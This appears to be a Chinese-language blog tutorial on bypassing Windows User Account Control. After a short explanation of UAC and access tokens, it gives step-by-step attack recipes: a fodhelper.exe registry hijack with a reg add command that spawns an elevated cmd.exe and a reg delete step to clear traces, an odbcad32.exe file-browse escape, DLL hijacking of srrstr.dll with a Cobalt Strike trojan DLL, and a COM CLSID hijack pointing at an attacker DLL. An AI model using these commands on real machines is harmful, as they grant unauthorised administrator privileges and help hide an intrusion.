一、介绍
(User Account Control)简称UAC,中文名为用户帐户控制,是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制,通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的,使用UAC,应用程序和任务总是在非管理员帐户的安全上下文中运行,例如,Windows资源管理器会自动继承标准用户级别权限,直接双击打开一个应用程序,系统会使用标准用户权限组进行运行,UAC通过限制应用软件对系统层级的访问从而提高Windows系统的安全性。
二、前置知识
登录过程:
默认情况下,普通用户和管理员用户都是以标准用户的安全上下文中访问资源并运行应用,当普通用户登录到计算机时,系统会自动为普通用户创建标准用户访问令牌,访问令牌其中包含用户访问级别信息、安全标识符 (SID) 和Windows权限,当管理员登录到计算机时,会创建两个单独访问的令牌,标准用户访问令牌和管理员访问令牌,其两个令牌的身份信息相同,不过安全标识符 (SID) 和Windows权限将被删除,标准用户访问令牌用于启动不执行管理任务的应用 (标准用户应用) 。 然后使用标准用户访问令牌来显示桌面 (explorer.exe) 。 Explorer.exe是所有其他用户发起的进程从中继承其访问令牌的父进程。 因此,除非用户提供同意或凭据来批准应用使用完整的管理访问令牌,否则所有应用都以标准用户身份运行。
触发UAC条件:
1 | 配置Windows Update |
四种设计要求:
1 | 始终通知:每当有程序 需要使⽤⾼级别的权限 时都会提示本地⽤户 |
三、Bypass
白名单:
注册表劫持
Windows会通过consent.exe进程来确定启动程序是否在白名单内,如果是在白名单内,则不会弹出UAC框,白名单内的程序默认以管理员权限启动,启动时会读取注册表HKCR下的键值,根据值启动相应的进程,如果可以修改HKCR下的键值,把原本的键值改为cmd.exe,当高权限程序在运行过程中调用了键值,就会以高权限启动cmd.exe,常见高权限白名单程序:
1 | c:\windows\system32\bthudtask.exe |
这里以fodhelper.exe为白名单例子,进行绕过UAC,需要注意的是,fodhelper.exe文件只有在Windows10才有,环境:Windows10专业版,预下载工具:
1 | sigcheck.exe:https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck |
- 使用sigcheck查看fodhelper.exe属性,因为只有具有AutoElevate属性,且为True的程序在运行时才会自动提升权限,执行时才会以管理员权限启动
1 | findstr "autoElevate" sigcheck64.exe -m c:\windows\system32\fodhelper.exe |
- 然后使用procmon查看ComputerDefaults.exe启动时读取的注册表项,使用过滤器添加进程名
- 然后 ctrl + f 搜索
1 | HKCU\Software\Classes\ms-settings\shell\open\command |
- 发现其结果为NAME NOT FOUND,表示找不到,因为实际这个路径根本不存在
- 然后又往下查询
1 | HKCR\ms-settings\Shell\Open |
- 这里可以直接在注册表里添加键值,路径:
1 | HKCU\Software\Classes\mscfile\shell\open\command |
- 使用以下命令,将值指定到恶意程序,普通权限用户也可以完成此操作
1 | reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f |
- 这样子就劫持好了,打开fodhelper.exe文件就会自动打开高权限的cmd
- 清除痕迹
1 | reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command" |
odbcad32.exe
odbcad32.exe,进程名称是Microsoft Data Access,位置在:
1 | C:\Windows\system32\odbcad32.exe |
普通权限用户可以直接打开
然后点击跟踪,在日志文件路径处浏览CMD或者Powershell,成功Bypass,其实除了这个,还有别的白名单程序,只有有浏览文件的功能,都能启动一个高权限的窗口
DLL劫持:
应用程序在运行时会加载许多DLL文件,在应用程序寻找成功之前,将恶意DLL文件放入寻找目录中,那么应用程序就会加载恶意的DLL文件,从而达到高权限代码执行的目的,DLL文件的加载顺序是:
1 | 程序所在目录 |
当然,加载顺序也要按着Know DLLs注册表项的机制,Know DLLs注册表项指的是已经被加载过的DLL,不会被应用程序重新搜索并加载,在以下注册表可以看到这些DLL文件
1 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLS |
在knowdlls表项中的dll是预先就加载进内存空间的,被诸多应用调用,改动需要高权限,废话不多说,直接开始
- 这里以SystemPropertiesAdvanced.exe文件为例,使用procmon进行筛选
1 | C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe |
- 查看启动时加载的DLL,这里的DLL文件,都是尝试加载并且找不到的
- 以srrstr.dll为例子,使用Cobalt Strike生成DLL木马文件
- 使用生成好的木马,放到srrstr.dll所在路径,并且重命名为srrstr.dll
- 重新打开SystemPropertiesAdvanced.exe,按理Cobalt Strike上线成功,但是没有,懂得加我
除了上述的,还有以下几种DLL利用方式
1 | DLL替换:用恶意的DLL替换掉合法的DLL |
COM劫持:
COM,英文名:Component Object Model,中文名:组件对象模型,是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统,组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。
- 为什么要使用COM组件?
com组件主要是解决了代码共用以及版本问题、能够调用其他软件的功能、所有代码都能够面向对象
- 什么是CLSID?
Class Identifier(类标识符)也称为CLASSID或CLSID,是标识 COM 类对象的全局唯一标识符,具体指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系组件分配的一个唯一表示他的ID代码,而当初微软在设计时,提供了两个选择来保证其唯一性,第一是成立一个类似Internet地址的管理机构,第二是GUID算法,每次都能产生一个全球唯一的COM组件标识符,而第一种不是很方便,最后微软选择了第二种
- COM与注册表的关系?
应用程序在运行时会去加载指定CLSID的COM组件,此时程序会按照固定的顺序去读取注册表值,获得DLL或EXE路径,依次读取的顺序为:
1 | HKEY_CURRENT_USER\Software\Classes\CLSID |
言归正传,以fodhelper.exe为例,首先使用procmon进行监控
然后搜索CLSID,发现执行该应用会寻找以下组件
1 | {20D04FE0-3AEA-1069-A2D8-08002B30309D} |
但是这个键值默认是不存在的,所以可以在注册表中增加这个键,设置相应的值,从而劫持COM组件,这个操作和DLL劫持很像,但是COM组件的拓展性却比DLL劫持好很多,能够劫持如.com文件、pe文件、api文件等等,使用以下命令进行劫持:
1 | reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32 /v "" /t REG_SZ /d "C:\artifact.dll" /f |